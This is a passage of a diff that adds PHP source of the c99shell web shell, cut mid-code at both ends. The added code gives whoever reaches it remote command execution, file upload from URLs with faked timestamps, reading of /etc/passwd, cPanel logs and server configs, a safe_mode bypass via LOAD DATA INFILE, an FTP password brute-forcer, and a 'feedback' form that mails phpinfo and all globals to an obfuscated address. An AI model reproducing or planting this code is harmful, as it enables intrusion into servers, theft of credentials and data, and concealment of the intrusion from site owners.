+ else {echo "Dump: nothing to do! ";}
+ }
+ }
+ if ($diplay)
+ {
+ if (!empty($sql_tbl))
+ {
+ if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";}
+ $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
+ $count_row = mysql_fetch_array($count);
+ mysql_free_result($count);
+ $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
+ $tbl_struct_fields = array();
+ while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
+ if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
+ if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
+ if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
+ if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
+ $perpage = $sql_tbl_le - $sql_tbl_ls;
+ if (!is_numeric($perpage)) {$perpage = 10;}
+ $numpages = $count_row[0]/$perpage;
+ $e = explode(" ",$sql_order);
+ if (count($e) == 2)
+ {
+ if ($e[0] == "d") {$asc_desc = "DESC";}
+ else {$asc_desc = "ASC";}
+ $v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
+ }
+ else {$v = "";}
+ $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
+ $result = mysql_query($query) or print(mysql_smarterror());
+ echo " Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows) ";
+ echo "[ Structure ] ";
+ echo "[ Browse ] ";
+ echo "[ Dump ] ";
+ echo "[ Insert ] ";
+ if ($sql_tbl_act == "structure") {echo "Coming sooon! ";}
+ if ($sql_tbl_act == "insert")
+ {
+ if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
+ if (!empty($sql_tbl_insert_radio))
+ {
+
+ }
+ else
+ {
+ echo "Inserting row into table: ";
+ if (!empty($sql_tbl_insert_q))
+ {
+ $sql_query = "SELECT * FROM `".$sql_tbl."`";
+ $sql_query .= " WHERE".$sql_tbl_insert_q;
+ $sql_query .= " LIMIT 1;";
+ $result = mysql_query($sql_query,$sql_sock) or print(" ".mysql_smarterror());
+ $values = mysql_fetch_assoc($result);
+ mysql_free_result($result);
+ }
+ else {$values = array();}
+ echo " ";
+ echo "Insert as new row ";
+ if (!empty($sql_tbl_insert_q)) {echo " or Save "; echo " ";}
+ echo " ";
+ }
+ }
+ if ($sql_tbl_act == "browse")
+ {
+ $sql_tbl_ls = abs($sql_tbl_ls);
+ $sql_tbl_le = abs($sql_tbl_le);
+ echo " ";
+ echo " ";
+ $b = 0;
+ for($i=0;$i<$numpages;$i++)
+ {
+ if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "";}
+ echo $i;
+ if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo " ";}
+ if (($i/30 == round($i/30)) and ($i > 0)) {echo " ";}
+ else {echo " ";}
+ }
+ if ($i == 0) {echo "empty";}
+ echo "From: To: ";
+ echo "";
+ echo "With selected: ";
+ echo "Delete ";
+ echo "
";
+ }
+ }
+ else
+ {
+ $result = mysql_query("SHOW TABLE STATUS", $sql_sock);
+ if (!$result) {echo mysql_smarterror();}
+ else
+ {
+ echo "";
+ echo "With selected: ";
+ echo "Drop ";
+ echo "Empty ";
+ echo "Dump ";
+ echo "Check table ";
+ echo "Optimize table ";
+ echo "Repair table ";
+ echo "Analyze table ";
+ echo "
";
+ mysql_free_result($result);
+ }
+ }
+ }
+ }
+ }
+ else
+ {
+ $acts = array("","newdb","serverstatus","servervars","processes","getfile");
+ if (in_array($sql_act,$acts)) {?>";
+ if ($sql_act == "newdb")
+ {
+ echo "";
+ if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success! ";}
+ else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\". Reason: ".mysql_smarterror();}
+ }
+ if ($sql_act == "serverstatus")
+ {
+ $result = mysql_query("SHOW STATUS", $sql_sock);
+ echo "Server-status variables: ";
+ echo "Name Value ";
+ while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "".$row[0]." ".$row[1]." ";}
+ echo "
";
+ mysql_free_result($result);
+ }
+ if ($sql_act == "servervars")
+ {
+ $result = mysql_query("SHOW VARIABLES", $sql_sock);
+ echo "Server variables: ";
+ echo "Name Value ";
+ while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "".$row[0]." ".$row[1]." ";}
+ echo "
";
+ mysql_free_result($result);
+ }
+ if ($sql_act == "processes")
+ {
+ if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "Killing process #".$kill."... ok. he is dead, amen. ";}
+ $result = mysql_query("SHOW PROCESSLIST", $sql_sock);
+ echo "Processes: ";
+ echo "ID USER HOST DB COMMAND TIME STATE INFO Action ";
+ while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "".$row[0]." ".$row[1]." ".$row[2]." ".$row[3]." ".$row[4]." ".$row[5]." ".$row[6]." ".$row[7]." Kill ";}
+ echo "
";
+ mysql_free_result($result);
+ }
+ if ($sql_act == "getfile")
+ {
+ $tmpdb = $sql_login."_tmpdb";
+ $select = mysql_select_db($tmpdb);
+ if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
+ if ($select)
+ {
+ $created = FALSE;
+ mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
+ mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
+ $result = mysql_query("SELECT * FROM tmp_file;");
+ if (!$result) {echo "Error in reading file (permision denied)! ";}
+ else
+ {
+ for ($i=0;$iFile \"".$sql_getfile."\" does not exists or empty! ";}
+ else {echo "File \"".$sql_getfile."\": ".nl2br(htmlspecialchars($f))." ";}
+ mysql_free_result($result);
+ mysql_query("DROP TABLE tmp_file;");
+ }
+ }
+ mysql_drop_db($tmpdb); //comment it if you want to leave database
+ }
+ }
+ }
+ }
+ echo "
";
+ if ($sql_sock)
+ {
+ $affected = @mysql_affected_rows($sql_sock);
+ if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;}
+ echo " Affected rows: ".$affected." ";
+ }
+ echo "
";
+}
+if ($act == "mkdir")
+{
+ if ($mkdir != $d)
+ {
+ if (file_exists($mkdir)) {echo "Make Dir \"".htmlspecialchars($mkdir)."\" : object alredy exists";}
+ elseif (!mkdir($mkdir)) {echo "Make Dir \"".htmlspecialchars($mkdir)."\" : access denied";}
+ echo " ";
+ }
+ $act = $dspact = "ls";
+}
+if ($act == "ftpquickbrute")
+{
+ echo "Ftp Quick brute: ";
+ if (!win) {echo "This functions not work in Windows! ";}
+ else
+ {
+ function c99ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh)
+ {
+ if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));}
+ else {$TRUE = TRUE;}
+ if ($TRUE)
+ {
+ $sock = @ftp_connect($host,$port,$timeout);
+ if (@ftp_login($sock,$login,$pass))
+ {
+ echo "Connected to ".$host." with login \"".$login."\" and password \"".$pass."\" . ";
+ ob_flush();
+ return TRUE;
+ }
+ }
+ }
+ if (!empty($submit))
+ {
+ if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;}
+ $fp = fopen("/etc/passwd","r");
+ if (!$fp) {echo "Can't get /etc/passwd for password-list.";}
+ else
+ {
+ if ($fqb_logging)
+ {
+ if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");}
+ else {$fqb_logfp = FALSE;}
+ $fqb_log = "FTP Quick Brute (called c99shell v. ".$shver.") started at ".date("d.m.Y H:i:s")."\r\n\r\n";
+ if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
+ }
+ ob_flush();
+ $i = $success = 0;
+ $ftpquick_st = getmicrotime();
+ while(!feof($fp))
+ {
+ $str = explode(":",fgets($fp,2048));
+ if (c99ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh))
+ {
+ echo "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\" ";
+ $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n";
+ if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
+ $success++;
+ ob_flush();
+ }
+ if ($i > $fqb_lenght) {break;}
+ $i++;
+ }
+ if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";}
+ $ftpquick_t = round(getmicrotime()-$ftpquick_st,4);
+ echo "Done! Total time (secs.): ".$ftpquick_t." Total connections: ".$i." Success.: ".$success." Unsuccess.:".($i-$success)." Connects per second: ".round($i/$ftpquick_t,2)." ";
+ $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n";
+ if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
+ if ($fqb_logemail) {@mail($fqb_logemail,"c99shell v. ".$shver." report",$fqb_log);}
+ fclose($fqb_logfp);
+ }
+ }
+ else
+ {
+ $logfile = $tmpdir_logs."c99sh_ftpquickbrute_".date("d.m.Y_H_i_s").".log";
+ $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile);
+ echo " Read first: Users only with shell? Logging? Logging to file? Logging to e-mail? ";
+ }
+ }
+}
+if ($act == "d")
+{
+ if (!is_dir($d)) {echo "Permision denied! ";}
+ else
+ {
+ echo "Directory information: ";
+ if (!$win)
+ {
+ echo "Owner/Group ";
+ $ow = posix_getpwuid(fileowner($d));
+ $gr = posix_getgrgid(filegroup($d));
+ $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));
+ }
+ echo " Perms ".view_perms_color($d)." Create time ".date("d/m/Y H:i:s",filectime($d))." Access time ".date("d/m/Y H:i:s",fileatime($d))." MODIFY time ".date("d/m/Y H:i:s",filemtime($d))."
";
+ }
+}
+if ($act == "phpinfo") {@ob_clean(); phpinfo(); c99shexit();}
+if ($act == "security")
+{
+ echo "Server security information: Open base dir: ".$hopenbasedir." ";
+ if (!$win)
+ {
+ if ($nixpasswd)
+ {
+ if ($nixpasswd == 1) {$nixpasswd = 0;}
+ echo "*nix /etc/passwd: ";
+ if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;}
+ if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;}
+ echo "From: To: ";
+ $i = $nixpwd_s;
+ while ($i < $nixpwd_e)
+ {
+ $uid = posix_getpwuid($i);
+ if ($uid)
+ {
+ $uid["dir"] = "".$uid["dir"]." ";
+ echo join(":",$uid)." ";
+ }
+ $i++;
+ }
+ }
+ else {echo "Get /etc/passwd ";}
+ }
+ else
+ {
+ $v = $_SERVER["WINDIR"]."\repair\sam";
+ if (file_get_contents($v)) {echo "You can't crack winnt passwords(".$v.") ";}
+ else {echo "You can crack winnt passwords. Download , and use lcp.crack+ ©. ";}
+ }
+ if (file_get_contents("/etc/userdomains")) {echo "View cpanel user-domains logs ";}
+ if (file_get_contents("/var/cpanel/accounting.log")) {echo "View cpanel logs ";}
+ if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "Apache configuration (httpd.conf) ";}
+ if (file_get_contents("/etc/httpd.conf")) {echo "Apache configuration (httpd.conf) ";}
+ if (file_get_contents("/etc/syslog.conf")) {echo "Syslog configuration (syslog.conf) ";}
+ if (file_get_contents("/etc/motd")) {echo "Message Of The Day ";}
+ if (file_get_contents("/etc/hosts")) {echo "Hosts ";}
+ function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "".$name." - ";} echo $name.nl2br($value)." ";}}
+ displaysecinfo("OS Version?",myshellexec("cat /proc/version"));
+ displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version"));
+ displaysecinfo("Distrib name",myshellexec("cat /etc/issue.net"));
+ displaysecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise"));
+ displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo"));
+ displaysecinfo("RAM",myshellexec("free -m"));
+ displaysecinfo("HDD space",myshellexec("df -h"));
+ displaysecinfo("List of Attributes",myshellexec("lsattr -a"));
+ displaysecinfo("Mount options ",myshellexec("cat /etc/fstab"));
+ displaysecinfo("Is cURL installed?",myshellexec("which curl"));
+ displaysecinfo("Is lynx installed?",myshellexec("which lynx"));
+ displaysecinfo("Is links installed?",myshellexec("which links"));
+ displaysecinfo("Is fetch installed?",myshellexec("which fetch"));
+ displaysecinfo("Is GET installed?",myshellexec("which GET"));
+ displaysecinfo("Is perl installed?",myshellexec("which perl"));
+ displaysecinfo("Where is apache",myshellexec("whereis apache"));
+ displaysecinfo("Where is perl?",myshellexec("whereis perl"));
+ displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf"));
+ displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf"));
+ displaysecinfo("locate my.conf",myshellexec("locate my.conf"));
+ displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf"));
+}
+if ($act == "mkfile")
+{
+ if ($mkfile != $d)
+ {
+ if (file_exists($mkfile)) {echo "Make File \"".htmlspecialchars($mkfile)."\" : object alredy exists";}
+ elseif (!fopen($mkfile,"w")) {echo "Make File \"".htmlspecialchars($mkfile)."\" : access denied";}
+ else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);}
+ }
+ else {$act = $dspact = "ls";}
+}
+if ($act == "encoder")
+{
+ echo "Encoder: Input: ".@htmlspecialchars($encoder_input)." Hashes :";
+ foreach(array("md5","crypt","sha1","crc32") as $v)
+ {
+ echo $v." - ";
+ }
+ echo " Url: urlencode -
+ urldecode -
+ Base64: base64_encode - ";
+ echo "base64_decode - ";
+ if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo " ";}
+ else
+ {
+ $debase64 = base64_decode($encoder_input);
+ $debase64 = str_replace("\0","[0]",$debase64);
+ $a = explode("\r\n",$debase64);
+ $rows = count($a);
+ $debase64 = htmlspecialchars($debase64);
+ if ($rows == 1) {echo " ";}
+ else {$rows++; echo "".$debase64." ";}
+ echo " ^ ";
+ }
+ echo " Base convertations :dec2hex - ";
+}
+if ($act == "fsbuff")
+{
+ $arr_copy = $sess_data["copy"];
+ $arr_cut = $sess_data["cut"];
+ $arr = array_merge($arr_copy,$arr_cut);
+ if (count($arr) == 0) {echo "Buffer is empty! ";}
+ else {echo "File-System buffer "; $ls_arr = $arr; $disp_fullpath = TRUE; $act = "ls";}
+}
+if ($act == "selfremove")
+{
+ if (($submit == $rndcode) and ($submit != ""))
+ {
+ if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using c99shell v.".$shver."!"; c99shexit(); }
+ else {echo "Can't delete ".__FILE__."! ";}
+ }
+ else
+ {
+ if (!empty($rndcode)) {echo "Error: incorrect confimation! ";}
+ $rnd = rand(0,9).rand(0,9).rand(0,9);
+ echo "Self-remove: ".__FILE__." Are you sure? For confirmation, enter \"".$rnd."\" : ";
+ }
+}
+if ($act == "update") {$ret = c99sh_getupdate(!!$confirmupdate); echo "".$ret." "; if (stristr($ret,"new version")) {echo " ";}}
+if ($act == "feedback")
+{
+ $suppmail = base64_decode("Yzk5c2hlbGxAY2N0ZWFtLnJ1");
+ if (!empty($submit))
+ {
+ $ticket = substr(md5(microtime()+rand(1,1000)),0,6);
+ $body = "c99shell v.".$shver." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR;
+ if (!empty($fdbk_ref))
+ {
+ $tmp = @ob_get_contents();
+ ob_clean();
+ phpinfo();
+ $phpinfo = base64_encode(ob_get_contents());
+ ob_clean();
+ echo $tmp;
+ $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n";
+ }
+ mail($suppmail,"c99shell v.".$shver." feedback #".$ticket,$body,"FROM: ".$suppmail);
+ echo "Thanks for your feedback! Your ticket ID: ".$ticket.". ";
+ }
+ else {echo "Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail)."): Your name: Your e-mail: Message:".htmlspecialchars($fdbk_body)." Attach server-info * There are no checking in the form. * - strongly recommended, if you report bug, because we need it for bug-fix. We understand languages: English, Russian. ";}
+}
+if ($act == "search")
+{
+ echo "Search in file-system: ";
+ if (empty($search_in)) {$search_in = $d;}
+ if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}
+ if (empty($search_text_wwo)) {$search_text_regexp = 0;}
+ if (!empty($submit))
+ {
+ $found = array();
+ $found_d = 0;
+ $found_f = 0;
+ $search_i_f = 0;
+ $search_i_d = 0;
+ $a = array
+ (
+ "name"=>$search_name, "name_regexp"=>$search_name_regexp,
+ "text"=>$search_text, "text_regexp"=>$search_text_regxp,
+ "text_wwo"=>$search_text_wwo,
+ "text_cs"=>$search_text_cs,
+ "text_not"=>$search_text_not
+ );
+ $searchtime = getmicrotime();
+ $in = array_unique(explode(";",$search_in));
+ foreach($in as $v) {c99fsearch($v);}
+ $searchtime = round(getmicrotime()-$searchtime,4);
+ if (count($found) == 0) {echo "No files found! ";}
+ else
+ {
+ $ls_arr = $found;
+ $disp_fullpath = TRUE;
+ $act = "ls";
+ }
+ }
+ echo "
+
+Search for (file/folder name): - regexp
+Search in (explode \";\"):
+Text: ".htmlspecialchars($search_text)."
+ - regexp
+ - w hole words only
+ - case sensitive
+ - find files NOT containing the text
+ ";
+ if ($act == "ls") {$dspact = $act; echo "Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second). ";}
+}
+if ($act == "chmod")
+{
+ $mode = fileperms($d.$f);
+ if (!$mode) {echo "Change file-mode with error: can't get current value.";}
+ else
+ {
+ $form = TRUE;
+ if ($chmod_submit)
+ {
+ $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
+ if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";}
+ else {$err = "Can't chmod to ".$octet.".";}
+ }
+ if ($form)
+ {
+ $perms = parse_perms($mode);
+ echo "Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).") ".($err?"Error: ".$err:"")." ";
+ }
+ }
+}
+if ($act == "upload")
+{
+ $uploadmess = "";
+ $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath);
+ if (empty($uploadpath)) {$uploadpath = $d;}
+ elseif (substr($uploadpath,-1) != "/") {$uploadpath .= "/";}
+ if (!empty($submit))
+ {
+ global $HTTP_POST_FILES;
+ $uploadfile = $HTTP_POST_FILES["uploadfile"];
+ if (!empty($uploadfile["tmp_name"]))
+ {
+ if (empty($uploadfilename)) {$destin = $uploadfile["name"];}
+ else {$destin = $userfilename;}
+ if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"! ";}
+ }
+ elseif (!empty($uploadurl))
+ {
+ if (!empty($uploadfilename)) {$destin = $uploadfilename;}
+ else
+ {
+ $destin = explode("/",$destin);
+ $destin = $destin[count($destin)-1];
+ if (empty($destin))
+ {
+ $i = 0;
+ $b = "";
+ while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}}
+ }
+ if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "Incorect url! ";}
+ else
+ {
+ $st = getmicrotime();
+ $content = @file_get_contents($uploadurl);
+ $dt = round(getmicrotime()-$st,4);
+ if (!$content) {$uploadmess .= "Can't download file! ";}
+ else
+ {
+ if ($filestealth) {$stat = stat($uploadpath.$destin);}
+ $fp = fopen($uploadpath.$destin,"w");
+ if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."! ";}
+ else
+ {
+ fwrite($fp,$content,strlen($content));
+ fclose($fp);
+ if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);}
+ }
+ }
+ }
+ }
+ }
+ if ($miniform)
+ {
+ echo "".$uploadmess." ";
+ $act = "ls";
+ }
+ else
+ {
+ echo "File upload: ".$uploadmess."
+Select file on your local computer: or
+Input URL:
+Save this file dir:
+File-name (auto-fill):
+ convert file name to lovercase
+
+ ";
+ }
+}
+if ($act == "delete")
+{
+ $delerr = "";
+ foreach ($actbox as $v)
+ {
+ $result = FALSE;
+ $result = fs_rmobj($v);
+ if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)." ";}
+ }
+ if (!empty($delerr)) {echo "Deleting with errors: ".$delerr;}
+ $act = "ls";
+}
+if (!$usefsbuff)
+{
+ if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE. ";}
+}
+else
+{
+ if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); c99_sess_put($sess_data); $act = "ls"; }
+ elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); c99_sess_put($sess_data); $act = "ls";}
+ elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} c99_sess_put($sess_data); $act = "ls";}
+ if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); c99_sess_put($sess_data);}
+ elseif ($actpastebuff)
+ {
+ $psterr = "";
+ foreach($sess_data["copy"] as $k=>$v)
+ {
+ $to = $d.basename($v);
+ if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."! ";}
+ if ($copy_unset) {unset($sess_data["copy"][$k]);}
+ }
+ foreach($sess_data["cut"] as $k=>$v)
+ {
+ $to = $d.basename($v);
+ if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."! ";}
+ unset($sess_data["cut"][$k]);
+ }
+ c99_sess_put($sess_data);
+ if (!empty($psterr)) {echo "Pasting with errors: ".$psterr;}
+ $act = "ls";
+ }
+ elseif ($actarcbuff)
+ {
+ $arcerr = "";
+ if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";}
+ else {$ext = ".tar.gz";}
+ if ($ext == ".tar.gz") {$cmdline = "tar cfzv";}
+ $cmdline .= " ".$actarcbuff_path;
+ $objects = array_merge($sess_data["copy"],$sess_data["cut"]);
+ foreach($objects as $v)
+ {
+ $v = str_replace("\\",DIRECTORY_SEPARATOR,$v);
+ if (substr($v,0,strlen($d)) == $d) {$v = basename($v);}
+ if (is_dir($v))
+ {
+ if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;}
+ $v .= "*";
+ }
+ $cmdline .= " ".$v;
+ }
+ $tmp = realpath(".");
+ chdir($d);
+ $ret = myshellexec($cmdline);
+ chdir($tmp);
+ if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")! ";}
+ $ret = str_replace("\r\n","\n",$ret);
+ $ret = explode("\n",$ret);
+ if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}}
+ foreach($sess_data["cut"] as $k=>$v)
+ {
+ if (in_array($v,$ret)) {fs_rmobj($v);}
+ unset($sess_data["cut"][$k]);
+ }
+ c99_sess_put($sess_data);
+ if (!empty($arcerr)) {echo "Archivation errors: ".$arcerr;}
+ $act = "ls";
+ }
+ elseif ($actpastebuff)
+ {
+ $psterr = "";
+ foreach($sess_data["copy"] as $k=>$v)
+ {
+ $to = $d.basename($v);
+ if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."! ";}
+ if ($copy_unset) {unset($sess_data["copy"][$k]);}
+ }
+ foreach($sess_data["cut"] as $k=>$v)
+ {
+ $to = $d.basename($v);
+ if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."! ";}
+ unset($sess_data["cut"][$k]);
+ }
+ c99_sess_put($sess_data);
+ if (!empty($psterr)) {echo "Pasting with errors: ".$psterr;}
+ $act = "ls";
+ }
+}
+if ($act == "cmd")
+{
+if (trim($cmd) == "ps -aux") {$act = "processes";}
+elseif (trim($cmd) == "tasklist") {$act = "processes";}
+else
+{
+ @chdir($chdir);
+ if (!empty($submit))
+ {
+ echo "Result of execution this command : ";
+ $olddir = realpath(".");
+ @chdir($d);
+ $ret = myshellexec($cmd);
+ $ret = convert_cyr_string($ret,"d","w");
+ if ($cmd_txt)
+ {
+ $rows = count(explode("\r\n",$ret))+1;
+ if ($rows < 10) {$rows = 10;}
+ echo "".htmlspecialchars($ret)." ";
+ }
+ else {echo $ret." ";}
+ @chdir($olddir);
+ }
+ else {echo "Execution command "; if (empty($cmd_txt)) {$cmd_txt = TRUE;}}
+ echo "".htmlspecialchars($cmd)." Display in text-area ";
+}
+}
+if ($act == "ls")
+{
+ if (count($ls_arr) > 0) {$list = $ls_arr;}
+ else
+ {
+ $list = array();
+ if ($h = @opendir($d))
+ {
+ while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}
+ closedir($h);
+ }
+ else {}
+ }
+ if (count($list) == 0) {echo "Can't open folder (".htmlspecialchars($d).")! ";}
+ else
+ {
+ //Building array
+ $objects = array();
+ $vd = "f"; //Viewing mode
+ if ($vd == "f")
+ {
+ $objects["head"] = array();
+ $objects["folders"] = array();
+ $objects["links"] = array();
+ $objects["files"] = array();
+ foreach ($list as $v)
+ {
+ $o = basename($v);
+ $row = array();
+ if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";}
+ elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";}
+ elseif (is_dir($v))
+ {
+ if (is_link($v)) {$type = "LINK";}
+ else {$type = "DIR";}
+ $row[] = $v;
+ $row[] = $type;
+ }
+ elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}
+ $row[] = filemtime($v);
+ if (!$win)
+ {
+ $ow = posix_getpwuid(fileowner($v));
+ $gr = posix_getgrgid(filegroup($v));
+ $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v));
+ }
+ $row[] = fileperms($v);
+ if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
+ elseif (is_link($v)) {$objects["links"][] = $row;}
+ elseif (is_dir($v)) {$objects["folders"][] = $row;}
+ elseif (is_file($v)) {$objects["files"][] = $row;}
+ $i++;
+ }
+ $row = array();
+ $row[] = "Name ";
+ $row[] = "Size ";
+ $row[] = "Modify ";
+ if (!$win)
+ {$row[] = "Owner/Group ";}
+ $row[] = "Perms ";
+ $row[] = "Action ";
+ $parsesort = parsesort($sort);
+ $sort = $parsesort[0].$parsesort[1];
+ $k = $parsesort[0];
+ if ($parsesort[1] != "a") {$parsesort[1] = "d";}
+ $y = "";
+ $y .= " ";
+ $row[$k] .= $y;
+ for($i=0;$i".$row[$i]."";}
+ }
+ $v = $parsesort[0];
+ usort($objects["folders"], "tabsort");
+ usort($objects["links"], "tabsort");
+ usort($objects["files"], "tabsort");
+ if ($parsesort[1] == "d")
+ {
+ $objects["folders"] = array_reverse($objects["folders"]);
+ $objects["files"] = array_reverse($objects["files"]);
+ }
+ $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);
+ $tab = array();
+ $tab["cols"] = array($row);
+ $tab["head"] = array();
+ $tab["folders"] = array();
+ $tab["links"] = array();
+ $tab["files"] = array();
+ $i = 0;
+ foreach ($objects as $a)
+ {
+ $v = $a[0];
+ $o = basename($v);
+ $dir = dirname($v);
+ if ($disp_fullpath) {$disppath = $v;}
+ else {$disppath = $o;}
+ $disppath = str2mini($disppath,60);
+ if (in_array($v,$sess_data["cut"])) {$disppath = "".$disppath." ";}
+ elseif (in_array($v,$sess_data["copy"])) {$disppath = "".$disppath." ";}
+ foreach ($regxp_highlight as $r)
+ {
+ if (ereg($r[0],$o))
+ {
+ if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; c99shexit();}
+ else
+ {
+ $r[1] = round($r[1]);
+ $isdir = is_dir($v);
+ if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir))
+ {
+ if (empty($r[2])) {$r[2] = ""; $r[3] = " ";}
+ $disppath = $r[2].$disppath.$r[3];
